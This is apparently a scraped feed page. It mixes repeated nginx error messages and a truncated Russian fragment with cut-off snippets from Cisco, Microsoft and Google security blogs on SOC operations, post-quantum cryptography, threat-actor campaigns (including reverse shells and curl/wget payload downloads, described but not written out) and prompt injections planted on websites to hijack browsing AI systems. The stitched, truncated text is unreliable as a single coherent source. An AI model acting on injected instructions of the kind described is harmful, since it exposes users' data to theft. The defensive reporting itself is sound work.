Sorry, the page you are looking for is currently unavailable.

Please try again later.

If you are the system administrator of this resource then you should check the error log for details.

Request id: 986285ee7f9fbca30f009118870a630eServer IP: 185.54.220.248Client IP: 23.88.109.5Time: 2026-10-09T19:00:10+03:00Config id: 335Faithfully yours, nginx.

An error occurred.

Sorry, the page you are looking for is currently unavailable.

Please try again later.

If you are the system administrator of this resource then you should check the error log for details.

Request id: 61f641b9443f60bfa61c035e9925aff2Server IP: 185.54.220.248Client IP: 23.88.109.5Time: 2026-10-08T19:00:43+03:00Config id: 335Faithfully yours, nginx.

An error occurred.

Sorry, the page you are looking for is currently unavailable.

Please try again later.

If you are the system administrator of this resource then you should check the error log for details.

Request id: db7c9e9b3ec5fc4fb9e02c8670f482a9Server IP: 185.54.220.248Client IP: 23.88.109.5Time: 2026-10-07T23:00:38+03:00Config id: 335Faithfully yours, nginx.

An error occurred.

Sorry, the page you are looking for is currently unavailable.

Please try again later.

If you are the system administrator of this resource then you should check the error log for details.

Request id: 057a7a4758cd6ae7dfaab62417ac8d97Server IP: 185.54.220.248Client IP: 23.88.109.5Time: 2026-10-02T21:00:25+03:00Config id: 335Faithfully yours, nginx.

An error occurred.

Sorry, the page you are looking for is currently unavailable.

Please try again later.

If you are the system administrator of this resource then you should check the error log for details.

Request id: 8ea67ee2a3dd4315782e49963c8d5485Server IP: 185.54.220.248Client IP: 23.88.109.5Time: 2026-09-30T17:00:35+03:00Config id: 334Faithfully yours, nginx.

Эти процессы могут тянуться неделями, а тем временем в инфраструктуру легко может попасть злоумышленник.

Где теряется времяПервое промедление может произойти сразу после появления информации об уязвимости в базах данных.

Рецепт управления уязвимостямиЧтобы у злоумышленников было как можно меньше поводов заглянуть к вам в инфраструктуру, важно убедиться, что в организации четко выстроены четыре основных процесса.

ПриоритизацияПри анализе уязвимости не стоит ориентироваться только на оценку из публичного каталога, например NVD, — она может существенно расходиться с реальным ущербом от эксплуатации бреши.

Например, один и тот же дефект в сервере, который находится в изолированном сегменте, и в…

An error occurred.

Sorry, the page you are looking for is currently unavailable.

Please try again later.

If you are the system administrator of this resource then you should check the error log for details.

Request id: 7dfac78cb3fca5a112c9b371cb1af0ecServer IP: 185.54.220.248Client IP: 23.88.109.5Time: 2026-09-29T14:00:43+03:00Config id: 307Faithfully yours, nginx.

An error occurred.

Sorry, the page you are looking for is currently unavailable.

Please try again later.

If you are the system administrator of this resource then you should check the error log for details.

Request id: 3ba3f53e4698eed730b59fdbb57f2dc7Server IP: 185.54.220.248Client IP: 23.88.109.5Time: 2026-09-25T19:00:33+03:00Config id: 307Faithfully yours, nginx.

An error occurred.

Sorry, the page you are looking for is currently unavailable.

Please try again later.

If you are the system administrator of this resource then you should check the error log for details.

Request id: cdfce2802c5089c2e8d266eed059c5ddServer IP: 185.54.220.248Client IP: 23.88.109.5Time: 2026-09-23T18:00:08+03:00Config id: 307Faithfully yours, nginx.

An error occurred.

Sorry, the page you are looking for is currently unavailable.

Please try again later.

If you are the system administrator of this resource then you should check the error log for details.

Request id: 8bdccf89e0ff9374b4a240e13e1d1e5dServer IP: 185.54.220.248Client IP: 23.88.109.5Time: 2026-09-22T14:00:25+03:00Config id: 307Faithfully yours, nginx.

An error occurred.

Sorry, the page you are looking for is currently unavailable.

Please try again later.

If you are the system administrator of this resource then you should check the error log for details.

Request id: afb32d9b2ad2a9d051087c355f39881eServer IP: 185.54.220.248Client IP: 23.88.109.5Time: 2026-09-18T19:00:38+03:00Config id: 305Faithfully yours, nginx.

An error occurred.

Sorry, the page you are looking for is currently unavailable.

Please try again later.

If you are the system administrator of this resource then you should check the error log for details.

Request id: c7185cbdbdeda88817088ebb8613e249Server IP: 185.54.220.248Client IP: 23.88.109.5Time: 2026-09-17T16:00:24+03:00Config id: 305Faithfully yours, nginx.

Upstream capacity: the projects you depend on can deliver new capabilities and critical fixes fast.

Upstream capacity is the one almost nobody puts on a roadmap because it sits outside your organization.

In most organizations, upstream capacity has none of those.

What This Looks Like in PracticeFor Cisco, part of the answer was becoming a Premier Sponsor of the OpenSSL Foundation in August 2025.

Tomáš Mráz, CTO of the OpenSSL Foundation, describes the impact:“Cisco’s support for the OpenSSL Foundation allowed us to fund an additional senior software engineer to improve the OpenSSL Library code.

CSDL continues, and does moreThe Cisco Secure Development Lifecycle (CSDL) is built on more than 400 software security requirements that validate products before they are released, with engagements at key stages of development.

Cisco open-sourced it and donated it to the Coalition for Secure AI (CoSAI).

Our secure software guidance skill is in development, carrying Cisco-specific security requirements into the development workflow.

Project CodeGuard and the secure software guidance skill also act as evaluators in the development pipeline, backing hard gates.

To date we have not found a novel issue that was not already covered by an existing software security requirement.

The Splunk .conf network brought a new detection that we hadn’t seen before: Flawed AMMYY.

There is also a Remote Access Tool (RAT) called Flawed AMMYY that was developed from leaked AMMYY source code, and is directly used as malware.

One of the key value propositions of EVE is that it can use granular session fingerprinting to differentiate between similar but distinct applications like AMMYY and Flawed AMMYY.

Let’s dig into the events we saw for Flawed AMMYY and some of the details that EVE had to look at.

Our EVE detections for Flawed AMMYY came in pairs with identical timestamps, as seen above, all from a single IP.

The event Network Operations Center (NOC) managed the venue network, providing our SOC firewalls with dedicated SPAN feeds directly from their core switches.

Inside Cisco Cloud Control, that story comes together in Unified Events.

While Splunk drives active investigations in the SOC, administrators maintain firewall health directly within Cloud Control.

The Horizon: Cisco Cloud Control & AI CanvasSecurity is now natively built into Cisco Cloud Control, the unified operations platform that brings Networking, Security, Observability, and Cloud into one consistent environment.

Without replacing individual product controllers, Cisco Cloud Control unifies inventory, topology, actions, identity, …

However, assessing whether a zero-day vulnerability was exploited in the past essentially involves going back in time.

Relying on standard logs or “Conditional / Selective PCAP” systems during a zero-day investigation leaves the Security Operations Center (SOC) team blind.

There is also a secondary benefit: if a breach occurred using an newly disclosed zero-day vulnerability, the attacker is likely to have been very sophisticated.

Replay The Relevant Historical Traffic Against The New Intrusion RulesOn the Firewall Threat Defense (FTD), we configured a dedicated interface for the Endace traffic replays.

Rapid retrospective packet replay transforms zero-day triage by delivering direct forens…

The .conf26 Agentic SOC was not a simulated demo or a scripted lab.

Powered by the Cisco Cloud Control management platform, Splunk Enterprise Security (ES), Cisco Security telemetry, Cisco Talos Intelligence, and Endace continuous packet capture, our joint team of Cisco, Splunk, Endace, and Jamf engineers demonstrated what multi-agent threat detection, investigation, and response (TDIR) delivers at enterprise scale.

Watch it come to life in David Bombal’s Interview at the Agentic SOC.

“The Agentic SOC is not about replacing human defenders with autonomous black boxes.

AcknowledgementsOur thanks to the engineers who built the Agentic SOC and the Humans who provided decision making expertise.

Splunk .conf26 gave us the opportunity to operate a live Agentic Security Operations Center (SOC) in the middle of the Splunk community.

Splunk ES as the SOC data platformSplunk ES served as the primary analyst workspace and evidence system for the SOC.

Building the Triage Agent Dashboard in an AfternoonOnce the data was flowing and the agent was active, we built an operations dashboard in an afternoon.

The team preserved a path from telemetry to finding, from finding to agent analysis, and from agent analysis to an analyst decision.

Dashboard SnapshotThe following values are a snapshot from the displayed Triage Agent operations dashboard and should be read as event-environment observations…

The Cisco Secure Firewall 200 Series brings enterprise-grade protection and connectivity to distributed branches in a compact form factor.

The Encrypted Visibility Engine (EVE) uses AI and machine learning to analyze encrypted traffic, including TLS 1.3, without requiring full decryption.

The Secure Firewall 220 model delivers up to 1.5 Gbps of throughput with next-generation firewall capabilities enabled in a compact form factor for smaller branches.

The Secure Firewall 200 Series helps meet these demands with intelligent threat protection, encrypted traffic visibility, resilient connectivity, and centralized management.

Explore the Secure Firewall 200 Series to build a more resilient, man…

Architecting the Future: The Four Pillars of Agentic SecuritySecuring agentic AI requires a new strategic framework.

Pillar 2: Core ProtectionDelivered by: Cisco AI DefenseCisco AI Defense provides specialized protection for the AI models themselves and their operational environment.

AI Inventory & Validation: This solution catalogs all deployed AI models and continuously validates their integrity against supply chain risks.

Pillar 4: ObservabilityDelivered by: SplunkSplunk provides the unified intelligence platform required to monitor and respond to agentic AI at scale.

Splunk ingests logs, events, and telemetry from Duo, Secure Access, AI Defense, and other infrastructure points, creating…

Cisco was proud to return to Black Hat USA as the Official Security Cloud Provider and the longest-standing partner of the Black Hat Network Operations Center (NOC) and Security Operations Center (SOC).

In 2026, we completed our 11th year helping protect the Black Hat network, working side by side with the Black Hat NOC leaders and official technology partners: Palo Alto Networks, Arista, Corelight, Jamf and Lumen.

For Black Hat USA 2026, the Cisco and Splunk team brought together telemetry and workflows across Cisco Security, Splunk Security, and partner-provided network and security controls.

The same signal may need to be understood by Cisco, Splunk, Black Hat leadership, and partner tea…

I did not walk into Black Hat with years of incident-response experience or an encyclopedic knowledge of threat actors.

The first time I walked into the Black Hat NOC, where the SOC team was operating, was a few days before the event began.

I was surrounded by people with years—sometimes decades—of experience, many of whom had supported Black Hat for years.

Check out the other blogs from our team at Black Hat USA 2026.

Driven by the needs of the community, Black Hat events showcase content directly from the community through Briefings presentations, Trainings courses, Summits, and more.

To handle this task, Cisco and Black Hat deployed bespoke ThousandEyes agents to monitor the wireless solution.

Our thanks to the Arista Networks team in the Black Hat NOC for their partnership throughout the week.

You can read the other blogs from our colleagues at Black Hat USA.

Driven by the needs of the community, Black Hat events showcase content directly from the community through Briefings presentations, Trainings courses, Summits, and more.

For more information, please visit the Black Hat website.

With Matthew Bair2026 marks the fourth consecutive year we’ve used ThousandEyes to monitor the Black Hat USA network for latency.

As our latency monitoring mesh has expanded to cover more and more of the conference, we’ve also begun supplementing our ThousandEyes monitoring with on-demand Linux commands to track latency across different protocols.

The Key ThousandEyes TestsThe automated ThousandEyes tests that inform our dashboards include HTTPS connectivity tests, the monitoring of cloud services, agent to agent tests, internal and external DNS resolution, and even file downloads.

On-Demand Latency Tests from the Agent MeshPing and traceroute are the go-tos for anyone who wants to do a qui…

While developing a detection for Cisco Secure Network Analytics (SNA), I used the Splunk Detection Editor (Alpha) to bring much of that workflow into one place.

Instead of treating every observation as an incident, detections can create risk events associated with entities such as systems or users.

Developing the detection in one workspaceThe Detection Editor provides a workspace for building the search while configuring the other parts of the detection.

Risk events for the same entity need to use a consistent risk object so Splunk Enterprise Security can associate them correctly.

Splunk defines the risk object, its type, and its score as key parts of a risk event.

DNS continues to provide one of the clearest windows into activity across the Black Hat network.

At Black Hat, however, the value of DNS goes well beyond traditional threat blocking.

Its 4.42 million blocks represented 79.3% of every blocked DNS request .. Apple privacy-relay and encrypted-DNS hostnames collectively accounted for approximately 97.9% of blocks among the top blocked destinations.

For the Black Hat NOC/SOC, Secure Access DNS telemetry gives analysts a high-value control point and an investigative starting point.

Driven by the needs of the community, Black Hat events showcase content directly from the community through Briefings presentations, Trainings courses, Summits, and mo…

As enterprises choose which models to deploy, the relevant question is broader than whether a model is open-weight or closed-weight.

Today, Microsoft and NVIDIA are publishing Risk Management for Open-Weight Models in Enterprise, the first in a planned series of joint resources intended to help enterprises address those questions.

Model access and deployment are separate choices: open-weight models can also be used through managed platforms.

Building on this workRisk Management for Open-Weight Models in Enterprise focuses primarily on the model layer.

Read the joint Microsoft-NVIDIA paper, Risk Management for Open-Weight Models in Enterprise.

Microsoft’s research into one phishing kit unraveled a larger ecosystem, including the phishing kit developers, an infrastructure dealer, and the threat actors who buy from both.

Downstream activity from Storm-2990 phishing kitsMicrosoft observed downstream activity by threat actors using infrastructure affiliated with the Storm-2990 phishing kits.

Most of the activity that stems from this phishing kit ecosystem consists of social engineering, phishing operations, and account and storage takeovers.

ReferencesLearn moreFor the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To hear stories and insights from the Micr…

Early testing can surface compatibility and process gaps before post-quantum authentication is required at scale.

As the industry moves toward post-quantum authentication, security teams will need greater visibility into those dependencies.

Why organizations should begin preparing nowThe transition to post-quantum authentication is unlikely to be a single technology upgrade.

Testing the future certificate ecosystemTo help the ecosystem gain practical experience with post-quantum authentication, Microsoft launched the PQC TLS Pilot Program on August 27, 2026.

What organizations can do todayOrganizations do not need to wait for broad industry adoption to begin preparing for post-quantum authe…

The mission of Microsoft Security’s Frontier Offensive Research & Generative Exploitation (FORGE) Lab is to advance the frontier of autonomous security engineering.

We’re building a team that enables AI-native vulnerability research at Microsoft, pushing the boundaries of finding and fixing zero-day vulnerabilities.

Three lessons follow, each marking a shift in how we approach vulnerability research:From frontier capability to scale.

Here, we focus on what those experiences teach us about operating vulnerability research at scale—across Windows and open-source projects.

FORGE has submitted nine Linux findings with internally assessed common vulnerability scoring system (CVSS) scores above 7…

How do frontier AI models change vulnerability management for CISOs?

We use a ‘harness’ layer around AI models in vulnerability scanning for better results.

They should do so without delay, rather than wait for access to frontier AI models.

Extensive guidance can be found in a new Microsoft Security Exposure Management page with capabilities customers can use to act.

Final notesThe advent of frontier AI models to discover and exploit vulnerabilities creates both risks and opportunities.

How do frontier AI models change vulnerability management for CISOs?

We use a ‘harness’ layer around AI models in vulnerability scanning for better results.

They should do so without delay, rather than wait for access to frontier AI models.

Extensive guidance can be found in a new Microsoft Security Exposure Management page with capabilities customers can use to act.

Final notesThe advent of frontier AI models to discover and exploit vulnerabilities creates both risks and opportunities.

Trusted channels can enable this exchange among government agencies, law enforcement, critical infrastructure operators, technology providers, and international partners while respecting legal and privacy requirements.

As cyber incidents cross organizational and national boundaries, resilience depends not only on technical preparedness, but on whether institutions can coordinate effectively under pressure.

In an era of AI-enabled and increasingly interconnected cyber threats, resilience is no longer simply about recovering from an attack.

It is about preparing for a world in which cyber incidents move faster, spread further, and affect more organizations than ever before.

Governments best p…

Every year, the Microsoft Digital Defense Report gives us an opportunity to step back from individual threats and look broadly at what Microsoft’s security and threat intelligence teams are seeing.

These developments can change the speed and scale of security activity even as the underlying security fundamentals remain familiar.

People, identities, exposed systems, and trusted access continue to feature prominently in the threat activity Microsoft observes.

The 2026 Microsoft Digital Defense Report looks across the threat landscape, cybercrime, resilience, and the relationships among technologies, identities, systems, and people.

Read the 2026 Digital Defense Report for the full findings, d…

Trusted channels can enable this exchange among government agencies, law enforcement, critical infrastructure operators, technology providers, and international partners while respecting legal and privacy requirements.

As cyber incidents cross organizational and national boundaries, resilience depends not only on technical preparedness, but on whether institutions can coordinate effectively under pressure.

In an era of AI-enabled and increasingly interconnected cyber threats, resilience is no longer simply about recovering from an attack.

It is about preparing for a world in which cyber incidents move faster, spread further, and affect more organizations than ever before.

Governments best p…

Join fellow customers and Microsoft Security leaders for a night designed to make meaningful connections.

Partners and the Microsoft Intelligent Security AssociationMicrosoft Intelligent Security Association (MISA) members have a full week ahead at Microsoft Ignite.

Sessions to watch forWhen AI acts, security has to answer: Microsoft Security for AI , the platform view of securing agentic AI.

Strengthen and Manage Data Security Posture with Microsoft Purview , on data security posture management in practice.

Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

The operators first validated command execution using lightweight out-of-band probes to unique subdomains hosted on public interaction and collaborator services, including oast[.

When a service-state change triggers health monitoring, swatchdog incorporates the attacker-controlled value into a snmptrap shell invocation, enabling command execution.

Exploitation of the Zimbra vulnerability provided attackers with direct command execution as the zimbra service account.

Attackers also used the initial command execution to download and execute content directly through wget or curl, launch background processes, and establish interactive reverse shells.

Command and controlThe actor used HTTP and H…

Attack chain showing phishing delivering a masqueraded MSP360 RMM installer that deploys ScreenConnect for persistent remote access and follow-on activity.

Initial Access: Phishing Campaign Delivering Masqueraded MSP360 RMM InstallerMicrosoft observed multiple phishing campaigns that used a multi-stage delivery chain to distribute legitimate, digitally signed MSP360 RMM software (v2.5.0.67).

Analysis of downloaded samples showed that many ultimately contained the same MSP360 RMM installer package despite appearing as different files to the victim.

Command and ControlT1219 Remote Access Software | The threat actor abused legitimate remote administration software including MSP360 RMM and Conn…

Attack chain showing phishing delivering a masqueraded MSP360 RMM installer that deploys ScreenConnect for persistent remote access and follow-on activity.

Initial Access: Phishing Campaign Delivering Masqueraded MSP360 RMM InstallerMicrosoft observed multiple phishing campaigns that used a multi-stage delivery chain to distribute legitimate, digitally signed MSP360 RMM software (v2.5.0.67).

Analysis of downloaded samples showed that many ultimately contained the same MSP360 RMM installer package despite appearing as different files to the victim.

Command and ControlT1219 Remote Access Software | The threat actor abused legitimate remote administration software including MSP360 RMM and Conn…

By mapping trusted deployment paths and connected resources, the threat actor was able to identify opportunities to expand beyond the initial compromise.

In addition to deploying a kube agent, the threat actor modified pipeline scripts to install the Atera remote management agent and download the Chisel tunneling utility.

The threat actor added seven stolen kubeconfig files to a repository, providing the credentials needed to access targeted Kubernetes clusters.

To learn more about Microsoft Security solutions, visit our website.

Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

In 2026, Microsoft observed Star Blizzard shift from exclusively targeted spear-phishing operations to also conducting larger-scale phishing campaigns.

June 2026 RedFlick campaign follow-up email with the subject line “Invitation to the Chatham House London Conference 2026”Figure 3.

Persistence through multiple scheduled tasksIn April 2026, Microsoft observed Star Blizzard changing persistence tactics to include RedFlick scheduled tasks.

Defending against Star Blizzard and RedFlick-related activityMicrosoft Threat Intelligence advises organizations that are most likely at risk—primarily those in government, NGOs, or think tanks adjacent to Ukraine policy or support—to implement the followin…

Here, threat actors may simply seed prompt injections on websites in hope of corrupting AI systems that browse them.

Early experiments revealed a significant volume of "benign" prompt injection text, which illustrates the complexity of distinguishing between functional threats and harmless content.

Many prompt injections were found in research papers, educational blog posts, or security articles discussing this very topic.

(Source: GitHub/swisskyrepo)When searching for prompt injections naively, the majority of detections are benign content – false positives in our case.

Malicious: ExfiltrationWe were able to observe a small number of prompt injections that aim at theft of data.

Recognizing the risks associated within the complex modem firmware, Pixel 9 shipped with mitigations against a range of memory-safety vulnerabilities.

Following our previous discussion on "Deploying Rust in Existing Firmware Codebases", this post shares a concrete application: integrating a memory-safe Rust DNS(Domain Name System) parser into the modem firmware.

Hook-up Rust to modem firmwareBefore building the Rust DNS library, we defined several Rust unit tests to cover basic arithmetic, dynamic allocations, and FFI to verify the integration of Rust with the existing modem firmware code base.

Pixel modem firmware already has a well-tested and specialized global memory allocation system to…

This project represents a significant step forward in our ongoing efforts to combat session theft, which remains a prevalent threat in the modern security landscape.

Session theft typically occurs when a user inadvertently downloads malware onto their device.

Once active, the malware can silently extract existing session cookies from the browser or wait for the user to log in to new accounts, before exfiltrating these tokens to an attacker-controlled server.

How DBSC WorksDBSC protects against session theft by cryptographically binding authentication sessions to a specific device.

The issuance of new short-lived session cookies is contingent upon Chrome proving possession of the correspondi…

Staying ahead of the latest indirect prompt injection attacks is critical to our mission of securing Workspace with Gemini.

In our previous blog “Mitigating prompt injection attacks with a layered defense strategy”, we reviewed the layered architecture of our IPI defenses.

Synthetic data generationAfter we discover, curate, and catalog new attacks, we use Simula to generate synthetic data expanding these new attacks.

We partition the synthetic data described above into separate training and validation sets to ensure performance is evaluated against held-out examples.

This process leverages the newly generated synthetic attack data described on this blog, to create a robust, end-to-end evalu…

2025 marked a special year in the history of vulnerability rewards and bug bounty programs at Google: our 15th anniversary 🎉🎉🎉!

Coming back to 2025 specifically, our VRP once again confirmed the ongoing value of engaging with the external security research community to make Google and its products safer.

Vulnerability Reward Program 2025 in NumbersWant to learn more about who’s reporting to the VRP?

Tip: Want to be informed of new developments and events around our Vulnerability Reward Program?

Follow the Google VRP channel on X to stay in the loop and be sure to check out the Security Engineering blog, which covers topics ranging from VRP updates to security practices and vulnerability des…

To stay ahead of the curve, the technology industry must undertake a proactive, multi-year migration to Post-Quantum Cryptography (PQC).

To bring these critical protections to the wider developer community with minimal friction, the transition will be supported through Play App Signing.

Play App Signing leverages Google Cloud KMS, which helps ensure industry-leading compliance standards, to secure signing keys.

Empower Developers : The inclusion of ML-DSA support within Android Keystore and Play App Signing allows developers to safeguard their users and application.

: The inclusion of ML-DSA support within Android Keystore and Play App Signing allows developers to safeguard their users and …

Today we're announcing a new program in Chrome to make HTTPS certificates secure against quantum computers.

Instead, Chrome, in collaboration with other partners, is developing an evolution of HTTPS certificates based on Merkle Tree Certificates (MTCs), currently in development in the PLANTS working group.

Since MTC technology shares significant architectural similarities with CT, these operators are uniquely qualified to ensure MTCs are able to get off the ground quickly and successfully.

The Chrome Quantum-resistant Root Program will operate alongside our existing Chrome Root Program to ensure a risk-managed transition that maintains the highest levels of security for all users.

First, we…

For Majik, Scam Detection was the intervention he needed: “The warning is what made me pause and avoid a bad situation”.

As scammers evolve their tactics and create more convincing and personalized threats, we’re using the best of Google AI to stay one step ahead.

Expanding Scam Detection for Calls to Samsung DevicesTo help protect you during phone calls, Scam Detection alerts you if a caller uses speech patterns commonly associated with fraud.

Scam Detection for phone calls on Google Pixel devices is available in the U.S., Australia, Canada, India, Ireland, and the UK.

Powered by Gemini’s on-device model, Scam Detection provides intelligent protection against scam calls while ensuring that…

Upgrading Google Play’s AI-powered, multi-layered user protectionsWe’ve seen a clear impact from these safety efforts on Google Play.

As Android’s built-in defense against malware and unwanted software, Google Play Protect now scans over 350 billion Android apps daily.

This proactive protection constantly checks both Play apps and those from other sources to ensure they are not potentially harmful.

Looking aheadOur top priority remains making Google Play and Android the most trusted app ecosystems for everyone.

Thank you for being part of the Google Play and Android community as we work together to build a safer app ecosystem.

That’s why we're committed to providing multi-layered defenses that help protect you before, during, and after a theft attempt.

Today, we're announcing a powerful set of theft protection feature updates that build on our existing protections, designed to give you greater peace of mind by making your device a much harder target for criminals.

These updates are now available for Android devices running Android 16+.

More User Control for Failed Authentications: In Android 15, we launched Failed Authentication Lock, a feature that automatically locks the device's screen after excessive failed authentication attempts.

This feature is now getting a new dedicated enable/disable toggle in settings,…